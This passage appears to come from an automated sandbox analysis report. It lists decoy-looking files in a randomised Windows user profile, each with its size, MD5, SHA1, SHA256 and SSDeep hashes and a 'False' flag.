SHA256: 378c426a2b89e801825fa53c0f2804cf168fb88af37ba7c1ca8d4b887d587f65
SSDeep: 384:MzqC8TKw/SHa2tGz8hq87CKCefD6fnQNhVfutpiU8wpHbvFIGhFh65:MzKTO6abh77CefD64NhVfufx5p7dh+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\0Sz9y4pM1liLnHW.avi 58.00 KB MD5: 9c5f89e123777bc4aa9413ece2b89594
SHA1: cbab85cdb82928b17cd1797aa4126fcfa920536d
SHA256: 8c4cf814cb95b2d6a83ebc8d4f082245b67e8698b9ae8f6595c0799a10c0968f
SSDeep: 1536:sXIu3hhIH2eB+E/2/D3IlabZMORvvVZyiQH89g6TnG+y:pAE2g+E/SIlajRvDxQHJonS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9fWl Pmhzcfm0.avi 23.61 KB MD5: 760cd78e82e5e7a791d584489cb67ac4
SHA1: b11a72c1759d4c0abb8a4ea0fdfbf4b77cffd265
SHA256: 8edcc014086fbf2a549be22b2ec2061cc468e8afdf161f92043115b0fb30c675
SSDeep: 384:okMRWHiiLPMzov9016rzutHaMbcrgWvXelukIeVAWuaeRZ3ZO3Qr6P8063vt117k:okMLi7hlbzuRXbcrBOlZpfuaer3AQraL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\DjD7qqVPsjaapMWJ5hsT.mp4 84.18 KB MD5: 7e86e49d5be0af572b142d52e32fa08b
SHA1: 009b653f7754480cd357648889d0fb4baf747dbe
SHA256: 423175f1b2259e56c181a15e944c6e741776c288a79f16f17f3128c76ac5b4dd
SSDeep: 1536:LLqUgXbQHX/3l4qf5TEGcaE+xKrEua4ZrsUC6SCVi8t4QGE4dRAv:iUuuX/15TEGt5xQZFIO9Pv 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\dlnS-sO_EmcE8_Nm.swf 74.94 KB MD5: e8eb1af1f0138381ad394c1bf93c37ee
SHA1: 07a59436f244627a11b5a48a4be6633060663e64
SHA256: ca8ab9c0cce4e07f01d57fe1f9f1a9d5cd9902e192bdf61a3da410120094f793
SSDeep: 1536:jNTplXvfoWcr3GsPEGVZFp+NU0DCNRYVX2puKmNsUCLxfTk2RVzX9TQwrO:RHo/rD1VZv0U0DCzYVXSuKmNbCzlX9TK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\H3357xe.avi 15.66 KB MD5: b212def821498f8422064cafb15e09d1
SHA1: f84842b388a7b23931b8e21018296b07dbdf00e4
SHA256: e94010b6f33306d7ef6b3698f3d9ce3e0406d1395241908b44d0bd07d00906b7
SSDeep: 384:XkPOXgq03OIAzW20ZlGZxElyVeTB3RifWc8:UWXgTEd0f1IVkB3cfm 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\JY Zvsh3GSgycLkMXjP.avi 65.30 KB MD5: 8c49237185558967c008b359bab4519e
SHA1: 3a6694c7a2cf99f81b71d7ccfeb77a626926c8a9
SHA256: 39e74f8656ab5b26d4718b80cc72b2c3d2b5814fa2f59375cfa7b093f13e4795
SSDeep: 1536:53zwksVJE9WPVG4AiA91BuiZp006ZRTIWA8En9YFuo:FyvE9mV2hhuiZJGRE58Y2P 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv 53.36 KB MD5: c5dc243c4658bc297866eee6feb2b7ad
SHA1: 47ed513804c03801acf0d504523c0bf1e83aa629
SHA256: 4a4c74b206d5a43ef80c37eed257db05fe31e8dcf9da72637311ba06d2e9fc68
SSDeep: 1536:T7jQ5s7TiMrNa7Ja6+U6BiGjfAhpEN/ekDHHHbFcV4:zQ5s7HNcJ2RBiHhpEckzbF04 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv 6.13 KB MD5: f7d574b2bf0bbbda91bfaaa3451f8e66
SHA1: ab78a23ebe58a03780f983274e99048d1ba9b6f6
SHA256: db631a4354fd2f61819f276e68bb18683e078a4b0a014c47c158e5210e0c0266
SSDeep: 192:Qug+ZN8lxPqyOHbeir9dk4RSa9FGVoOlenvE6UrOQ7CKl:/DvCq5r9dk44avMonE64J 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf 91.32 KB MD5: 50db927e6fa5cc797fc3e09a043e9d6e
SHA1: 7f0eb0d77931e2bc9a62668901bc3acd0aa1f0ff
SHA256: 16c2b43aeb23a46d7649f57a1c9b67f5faa4e3feaf25e46c55aa2325cb8e8257
SSDeep: 1536:YuHvVfKGG2+i+25WxIqXyU1LKidXzemcA0mYCnIdq5cUnclFYiz:dQGG2+h/xRCiL/dXx0mPwq5FcgO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf 30.48 KB MD5: 5078c0c5ceae185382704cf88e874a33
SHA1: ad8ae17c48d48d33875431bc332559f99b1adb20
SHA256: c19af58f82335721d58b5e3482a20943058899a8a766bf74d204e48838c97836
SSDeep: 384:zHT6vKCS5YiBUPROLfemxea4aEwrxZXA124ybwzdQNuVU+eYdH37wcOPGGxWC:DTfsiBIOGmt4Hw/CQ0zd0umEH372T 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods 49.08 KB MD5: 1133e525c527182c96e78ad8350d2cf1
SHA1: 05ee76c41a2aef1dedf4f1d95673a63f22bf384f
SHA256: 12d89260c642e17cab668894ba3e698807e56402a56f123556ae77f97c727c3a
SSDeep: 1536:cCFi8XznrTJcY4/LDujVAysAlJ78w/rnIgc:5XzRcJCjplJ7hIF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv 83.48 KB MD5: 0653be6b5a0ea3723b0b030b1c57c624
SHA1: 607f1c410b88a673e04bbc9dac4c7b45d862b93d
SHA256: 80f061030e52200ab9d0c1c2d0e214fd26c98829f8a5da863b4ca7261d61121c
SSDeep: 1536:VslmCbDTpv1ZyeXvmym/RlXqlQL8xzdGpMWy5kWZ8q6ux:VslmCFp/mym/a6LmxMMliux 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt 84.04 KB MD5: 5bd555ab4a48491a689d864631ba2e9e
SHA1: 6e8301cf675457e4fc27f9d272173c0cd016cea2
SHA256: b035e0fd708acf995f29dd96228b37e033f9f151c1923d02c5d10fc811d4dbc4
SSDeep: 1536:bjF2cpfq1dz6uVi2jvA+8tipbM4zpv2CAvT3Tifp9iQ/ip1x+K8lvav2:bjAWC17HTAFtobM4zwbf4iL1xQae 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls 58.39 KB MD5: 590ec054062093b468132ee426d63746
SHA1: 85522c8d565ea376ecd2ad9630e95922154c5287
SHA256: 92cd145311e1b0918cb3c3719c9a2b99deb63ff6ec3d268194d92f2766bf9376
SSDeep: 1536:2pm1FX/ZLmmCQd+MSR4qud+O9oYEAmDq76+9muV+EV:2eX/Bmsd+yd+O9oYGatV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf 34.43 KB MD5: 94060e161dd30b3af699babe6ceba7f4
SHA1: 44e4952c5b232ce0d8ef2bed7afeae90b5ac8132
SHA256: 70087f669a8b1ad92e6d8d355842db7148cb48eadda20dea2e3c3d047202bd2c
SSDeep: 768:rdiwqr7NN/TXPreC4As/z7CVLC5ft1v3IRHvobG:wwqrzTPreC4dJ5frACy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt 10.72 KB MD5: 89e015aeba2567164230c97e211ec8d6
SHA1: 59f1cb7f68198da7a60caca84a1625e3e92fa6d6
SHA256: 0c2589584ce806f90792ac78c8ca9f65ae38d93e122ee63b8558c4af740377a5
SSDeep: 192:dyjpKXOMGVIPZzpSwwOgtLcy8MHVXX4+6x8jrEsByGbThJMvK+ic8Nj3hKqA9f6v:0mhGiRzwwwttLcqHVXLAGyo+ico3EqAW 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp 49.46 KB MD5: 13117b73ad853b952e5b498f415fd688
SHA1: f3ec40fe56f0cf124ea94b2d9b137b711f59b0d2
SHA256: c2f6f568bf1ba341d2618e656e3b2da9f1a5098cb04c07d138f2db8473829cc8
SSDeep: 768:T1wokMmlMXs0u7Zen/Tt3arkQWwlZD/rrxn4MLwnqWw7/+7SZkYytQCHGuNBtdj:hBkJ+VudY7crkURrV8s7/rkYFCJNVj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf 83.92 KB MD5: e0481cb7b2f92ed3a17757284721c6a7
SHA1: 87cebc4c442517d009b16188fbe9b5f37f5e30e8
SHA256: cc06b0e6a59d48d0310f795ccef009d034f3d5ddf0e956870034dc0e9b414258
SSDeep: 1536:GhRt2N1QsFRO9ce/9Rh4+2pCq5nM5buTTI12Gyl2ByltEi3T26C8G6ArN9:YqvSZ/m+IL54eWBylXEmqWG6Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav 97.61 KB MD5: 64cb53cddc3de985dcd00ac6a5c37c9d
SHA1: 92318aea57f7e7b8e9eac30870047df34e363933
SHA256: 516bb11b9cccd7f4cd5a3d350efe624cb8cbe3cd5546420bd0555594a8109daa
SSDeep: 1536:jxIcgap9akpKqyoN8MCrQTbUEMm9sMThhEGURrP/luK+6M6OrMlmMLRHwWMc1ol7:jBgaHKVVMCrQLSIhLUxPAE1OolhH9m7 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3 36.99 KB MD5: a5e0e7727589379ba8abbd9a8e641b2f
SHA1: 0fb95fb883fe0d1067f53caec0a6bf1fc1b1b736
SHA256: 8b2350372a855aee428b9ff41ca4fd4884e227473345cbd2162886a81088028a
SSDeep: 768:pMLYbB/2KCy3w9HsskGClcNgk60Y1TVnBczWrs/nimfFylens1d7Y:ya/2K12HcGw7kjzWrenimdqd1dc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav 49.99 KB MD5: b6bf8a928f345587ad7f7845e9e677f5
SHA1: ad0eda76b6cd80adde44b336056fe6e749925be7
SHA256: 2e17c28d4b2acd2e7eb5c4d8e6e53479bf2d9b498ab52d891f141fbdfd9d1baf
SSDeep: 768:ZzF6sv0Cx1ZB9Krvg/t5cXIpMe9RV+cgJ7EEWiv8BEefvN0hmvV/7oSb+2j3/Yt5:xwsvnrcvgFuXyV+cgTv+1vnd/sN2jPi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3 21.04 KB MD5: 559cd137e862b5607b9f0b5841ee5816
SHA1: d6a758fbdad400f1e15bfb68de83269cdf7ae7c0
SHA256: 8bf6c1f157a473e9d800add7454b12da0addbd04c8fdc44c5f4da34cc488567e
SSDeep: 384:uDqbn3NQ9WO9SKv7qLLBZ13X9AmD+FIg57TfDuHZPxwHXfv9LsG4UoRB8:KqrddK+L9nnOmDhg5fI8f1LzJon8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip 41.58 KB MD5: f781b26385f2aa46326e06fe6d92f819
SHA1: affca7c05b282ecfe5da9d2019c86b4f6c471fac
SHA256: b7c6d54a93fbdef04c27988af154ec47f5117bdb8dccef9ea4ac6353723b9d25
SSDeep: 768:SrBiVzj9QKwcKIv4rthPhMUr6HHn7LL+kj1E3Ul4OSjyPAVbuAJZCawLv16sM8C8:SrkzxzS36HHn7X+kj1+yPWZCacLJR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat 32.08 KB MD5: 399531602745fd670d8c0b1f86a65f5b
SHA1: d91cf11ee912c682a52eb52395b11e9852ce9318
SHA256: ec56043887aa78262993d4344bb0e09c69893b371b1622acd7e2ea3b86f3dd71
SSDeep: 768:bamZxJT+kJHaH/FSRevCgHbuJeH0/DbDQ7jL3g:bamLd+kJHafwsCgHbuwH0S/g 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab 568.17 KB MD5: 5229f92d2213153f4812187e3ddf2792
SHA1: 358842550c7564e51cb5bffe053511b8937117c3
SHA256: dcac2b20910a94dea38211babc6dd1c8d4ab6c59d0a8730f5d8196b5b735c487
SSDeep: 12288:VXC9XRSm5k+Y4hyMPezVNK9TcS5RyjDUI6Eh/MOhTt:1FRMPgyTx6jDUbE2Ip 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt 80.57 KB MD5: 28893612a5932179dfea9ca82af174eb
SHA1: 4bfa6129ae57e443f73c22294a7d3f68f18f78f0
SHA256: 810cfd9eeff93b508badd2a8a8f48a1b52d74c9b335a0264663f9fc572930e82
SSDeep: 1536:D7OIJ9N6D4F0NPDZdhvYvbaRSOzQx1TBVMfIKBuAY//qnpD2J2LyHIk8fkXg+2/d:D7b6D46dgbaRS71TBewKBc/CpQ2d7W2V 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv 1.64 KB MD5: 56a8c6d8131feb49f83401d23ff77d65
SHA1: 1718f23043e971c56f842d46a21ccc28a2241296
SHA256: c1cdd2b80cc64a7d50ec28d73eb01d7c296887f5ecf712b8e439163a4f4c34f2
SSDeep: 48:SqJY7KCkSc5c+2tYNnFMEtJdYzFBKBnp5cvh9/Qg02HkKED:Sq0Bc5qtYNF1aiFk5QGHkz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg 66.59 KB MD5: 93cbfe44fc1a89eb5ce19e96117333a3
SHA1: 9ac4df77f1e1ffb8c0ee8f46e66280f2264cf3c9
SHA256: 8194fd122133acf9eeb611f58c34ceff53ed8050a1014643d5e7df0cf0faea5c
SSDeep: 1536:GF19CiVCks+KhWuP1qi5ZSyCCUba9zjDG0fqS16BWGpU:e7NV5sltNq09CS9zjaO6BWX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif 66.77 KB MD5: 999dec050ad983afb25d47ee9b3ec5e6
SHA1: 001a36994716124ff0217d5937e0779109408b67
SHA256: 09effa0d3adc7929cf5ea0e89c06228653bbc5f93d6e0cb2eef7f5eeac9b771b
SSDeep: 1536:cO1TXrWhrMv8tvuC2SMcSJl2FKtGviChSHjhhGRq4:n1T6hrq5uyQ/JwHjT4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml 91 bytes MD5: 52b3d66adba4ec74b12caf0b1540c671
SHA1: 890f838a1944b5009c12b1f1207fd62b18558ce1
SHA256: 3eb8e1b7a1635a644754ac0c9844645bca936fafa4ed12e61671c9b11153ce6e
SSDeep: 3:DMkqzmDBRmV76FpavlmHUXdncIFiRHIgHaRT:4rKDBcvoHWcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml 914 bytes MD5: 520ca46babb27985c9ef7bc0eb696c2d
SHA1: d91a33d3596016f715835ac139d1abf2a3b0e1f6
SHA256: c4b1bc6000887a8a8f11df18d0ef73951ecfb861a2b751bdb8d98653741e82f6
SSDeep: 24:Ow7Waj6tbS9UiX1qQowZFX823F6uSJeT5sXCU5oDkQbnWbD:OwBjnxgeX8C1SGyp5IjbED 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png 29.82 KB MD5: 37c770db9791752f604d328fde662b04
SHA1: 966c478875988130a362d7ced4fa04aded8bfcca
SHA256: 03083c1b1f9d4f73971df8927b61afab866be7e4a5629dbb5997998b7e5f20c7
SSDeep: 768:bvtnIrMf/UTtxU0wwvX57q4k31shZiKf/LNCs1P:JjijwwvtqlIiKfoc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif 24.80 KB MD5: 840e4a8a48635d39db9dbb55ae1a00c3
SHA1: 4ecf60ebf6909b2ce381e8f9a6bc139bd5cf8ed8
SHA256: 7fb5c15fa428e1e06a75e9accbc6366230d7f6b1c38d760d6e48a09179159f1f
SSDeep: 768:yJEQVAebP1EIU6mQpdXQY2TbJcJsqhV4ClGfuYeWEgU0Hb:YFVAe7iu1h2TbJbqhVtlcuYeWU07 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact 66.86 KB MD5: fe3b11bafdd8aaf4edca4fd14c3ca2a3
SHA1: 1ec64c0e9ab73368f3b8b26662d36d7fd915801a
SHA256: 662b127de258cf7a906d27f9ace558ce30931bfc914f175324436577b05f950c
SSDeep: 1536:EvgEJHsPHAdYWY3EwFThz4H70hUPu+3VqxoW5vlxp+:EvHogdYMShw70GPncuW5g 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact 1.22 KB MD5: 632f3aa2585f0ba370a63b8569f0b240
SHA1: 26a3ea06392ff6e021cf8fb4cd53eaae29641876
SHA256: b523f9b873c50120490935d8a7cbd8e37c45409ac7db27b6762a2eb0bb4a99d4
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwtt6GGq1uTXShA7jv5Op6pKia+7+BnWbD:OBWCQ/ONSXXwtt6bqQTSGjRDB72ED 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 47.74 KB MD5: 8d3c894f1fbb3d251d3966daceb60030
SHA1: 44857ce0d20a452f84f66d66e89e5e75ca2ef4c4
SHA256: 1f3c162fe8defee769bde38f5e7ea5c62704935d1d35a3918eb47eb2caed1815
SSDeep: 768:Iqr+Gpv73a2X3MnAs00Cd2eeVlEcLkw42nYHzjKW3MgqgD0dJtzk1hWDBb0ZK:IqKNCE7E6kwdnYHzjLM9gAdPkVw 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png 29.94 KB MD5: 265d23a6f8556c7f9a78eee7ecbc2f73
SHA1: ec7cf2998aa79e68469d7f7e03551dae5a4dd9d9
SHA256: c6d60de8c57e27eb4a9cad74a723abc6ec207646966ace8c84b0dca96cbd5aee
SSDeep: 768:b6hJxJGWgoS0ks2MQiCwFbOb2hV0imXwDaSI1Q:46WgKks2HiCcbObSSx1Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 73.06 KB MD5: 8731eecc24f020435f1e616a2cb97e7d
SHA1: 3caa5d63d7ba04058b2fe7202e56cbe95b23aec9
SHA256: 2e186d8ce558a20e6762852358da43310be42762450956fad7d02fd1027237df
SSDeep: 1536:LGRdvHHO+E/MXb8ftE0EP/xokN6t614XM3ABTeh3Z6ewiwQRJB:e7E/MXofve/akNL6BRgsr3eB 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx 97.62 KB MD5: 3982fa56561588dd9263e1231eaf19ec
SHA1: cd0defa94618d2afcbe41040015e3326f6647fad
SHA256: 7e5db79d1769e0feff1674c4e231fc9782b94cbaa084283fdfdc992f30562a82
SSDeep: 1536:5whVZOeGg3d2wZT3JFbmXeJOdkGQiZUdjvBIJv99i/PpAHOc4AVMeedF4/U4:5whLO0N2cT3LC6kLXUBvm99IAWA5/U4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv 61.98 KB MD5: 6b8d8ce0ed071b8156883c8227d07a12
SHA1: f79b2c7fab8b5db3e3bed5a9888842641783aa15
SHA256: 92869dcf2a88ac5538883c9b83e6728f7027502bad14dc0c735e6f6b77426d22
SSDeep: 1536:P+agsqAfDf2wv2Z+2l84/TGo+Baez8mn5lUkDGw/My5h:Gags0C2l8Po0ae8+/jawEc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots 47.42 KB MD5: 8e3ea86b94407badbfee478703149570
SHA1: 539719650f79705455b2040dee01729acabfe11f
SHA256: 118c4c781606bba2dc0c4df1382a08b0cec1b5b72eb56b1a43f54111f00c17a5
SSDeep: 768:Ooo0GC1xEHobfBQNSIRIuS4+NYKVF0wUwRyrmvmi+VJzpOeXer4Yu:o0vwVIN4uY/wfkk2JAeXK4Yu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx 37.41 KB MD5: 8e5486820a18b66c722d82e8324031c1
SHA1: a5436d407fb676514861a23a041f7f18a834b650
SHA256: 9a36ca340d447a4f3130249d0c6ec730a8680b247b0e7b44d356a10550289b8e
SSDeep: 768:Hk4dXWyDQmKJ00/Ibap8SWPaYcRghGUaBtu2DcivFLn7RSKv:Hk4dXWyDtKJ/IenWPaYbhGtgsR1Se 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx 99.30 KB MD5: 1e3234547def3486aa2425995e1fc081
SHA1: 2efff958d8a6f61d697f76ba9e1826533d6bad40
SHA256: fe8aa7ab756892bd37abac4d3b3a0c8bdbedc6f4fa68f50066be7f255261b53a
SSDeep: 1536:+kPZuFmWS21PyvC+dRMOdhrl05ACefHrMkYEoyEwKNbfqBAnL5+wFlKJwHx8+3ru:+4PWS4yq+dRMOe55eIkr9EwK1D0Rcu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx 97.32 KB MD5: 43bfe02cad686e86af7a0b9181ae695d
SHA1: 0c8e9951c68bcf6643d2941e71fe0f25007f23a0
SHA256: 6b09ef682d308de0b97d547cccda339ed254f28f5f795a40eb7249840f368ed2
SSDeep: 3072:EKnDgSPo1lDneF+oOC2R9GZXnByF3zbdcfDI0zZY0uNLc:EMgSClekof2RGXnqDbdwDI2Y9I 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx 21.91 KB MD5: 1bb18214f24ef811a03bae413247e0fd
SHA1: 8603cca4abfccf3cff602093eebb4a7d176032b1
SHA256: c21214c1a2e45472503f819ea42ee18c262d1b390681f986cc6fd7a0d3dfe475
SSDeep: 384:Fl+E/Odxsn9NvNDwT2g559cqqHQBAeySDdwJ0vsO5ZCWnoi4em:Fl+AOdx2NvNDUR552zQVyShwaVA1em 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx 16.14 KB MD5: 0625d7e8176d53b4f0a971d415903999
SHA1: 945cee4002e712fa88098c6c5888926ffaf51777
SHA256: c39a799fc9927d3d4deff574ebb65c43652757f57fb1df728aeb7d369e4f1c1f
SSDeep: 384:mQiQmTiw7xCYv7QppSrQB3vvhkjdrOFE5qnqd8Y:8QmTB7xLDOZB3xMdrOFEEnqdR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx 36.84 KB MD5: 244e87aaed07947294240cbe7e9bb576
SHA1: 028c4c5462e3ec7c2f5687577bc54dd257ce7aa5
SHA256: a661f8868a9d701e0e3f379054e07992c60a17c82b47b554f7d29cbf3bd9aada
SSDeep: 768:HjGvpTyvc5PjAKbgf7OWs8FPUGKUmgkDFsjTrQ3QkS4qtZM:HqEvScKMf7O18FPUGjvkinrQgPZM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx 97.43 KB MD5: 1f1b841ece070d65951644725daf33d5
SHA1: faa4c6e7384d5f1ff6e43d31cde81210f7db8949
SHA256: 4fa477a79bd591570e49d2fc8f6265a103191c5b38ce52162c19394e66c2851b
SSDeep: 1536:fa/uKfx1yF5w0jucKmph8/gfwjPQxWOfaJxhAScg2rHosQwawdrxn4hQrQyd6gE:fam+1A5wiuczp+oQ4g4aZnrYQwaxoQb 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx 30.48 KB MD5: 92e4631706c5707178ef428fe3de534b
SHA1: de12a7f10d03eeb8b2e17bbbf155cf159f1f2876
SHA256: bea07c9e0304a0cd55dc05fe292e51f1441ba533220293c878eab4c69c0953e0
SSDeep: 768:JWWqYBnN+ovn/qHFW/SAzNP9dIjP2KTmfq23t4hWM7NL1nfc9/:JqY14i/qlts9dIKKTmi+ERlK/ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx 99.95 KB MD5: 0dda3657d16b0517e29f970f7c75db5e
SHA1: 9a1d3d19bc35ea3ebf3163dff69048e9c8f40854
SHA256: 62c5237c89494b6d406d7ca114c650bea526b69416f3684e5b095b6e703ddb05
SSDeep: 1536:zrC9S3QAHBSYEOniFjt8Wp65F2LUBhQOgaRvkJvBjgx+5hjQFzMExWbO3vft3:zzi5OiFm/cUBhLgaR0gx+mvxP3vp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp 70.91 KB MD5: ffe0f041ed1a916df9bf646fe3c039b5
SHA1: cc199411401e7f842baa6edf9c3df8d19f239251
SHA256: 9860c26b5b31d9a3997a90e26fac8d3a0bcbfabd1fef37825ded129d323cbaec
SSDeep: 1536:wdk147bl2n562Plalf3NmgDKjSkp2BD+60jeGS0c:mt856slEf6SkpT60j00c 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp 20.48 KB MD5: 34f23544c65f9d675f11ec35b70ee424
SHA1: 8789239be565590a21c2d7a8d544687e6539a729
SHA256: 41870c2a7b40e1249807749daff21173a3f6d55979bb1fbc384ac20c04e62261
SSDeep: 384:TgD54JnTQ8CmEUwIjfXPA4KLbgfGi0HgUlAVJNHzFb5yzqef//j+JFoL:TgCnTOmEUFjPPA4KLbgiHPlEXHZb8ziK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 79.41 KB MD5: 02f5c53311fe73c51c00dd5423a87367
SHA1: 868c08dd8af07098ecae05c9431ea656b2bfe2aa
SHA256: 9986d4df603b5dad557f1649e5282e979264f3550bec321653e3e29571fc9678
SSDeep: 1536:RCcootmukp+JBrSgg7vhadbdWEsxUURZDSIvU4LciKJeQFeTYsngg5XCoYAvSKp:4coQmukp8Tsu05xvciK8mAYy5XCoSKp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp 23.03 KB MD5: 3179c9ffc209232282150191e63a3e7a
SHA1: b74a724589e684b3b530c003a1d6ec493fbf5278
SHA256: 63af5f91a1bab68b90304c432073b087371f5639f9dda33921b4b6a14c5baeab
SSDeep: 384:LB9ftzlo2pgIkRGV5WBHKEx3rPK7rtZD+CtV40PJAf5xdhYyiseKAHyXBcbiB8uV:LffplZpgxqwx3m7r3DhtuGJ4VhYtsNbx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv 12.21 KB MD5: 8de66d85e4e8e9bcc7fde7265f3880d1
SHA1: c9829309bea4d14c81acc85dcb861beba6af07ce
SHA256: 9e7a6cec76aadadfc0248839f1f292318362985edeceb3d5cb66e30a4c0fdebc
SSDeep: 384:iiQp9zHxdTGin1AJsh8fdXBYkkhaLAz02DevU:iiQfGineiCdRYkkhaY0MD 		False
...
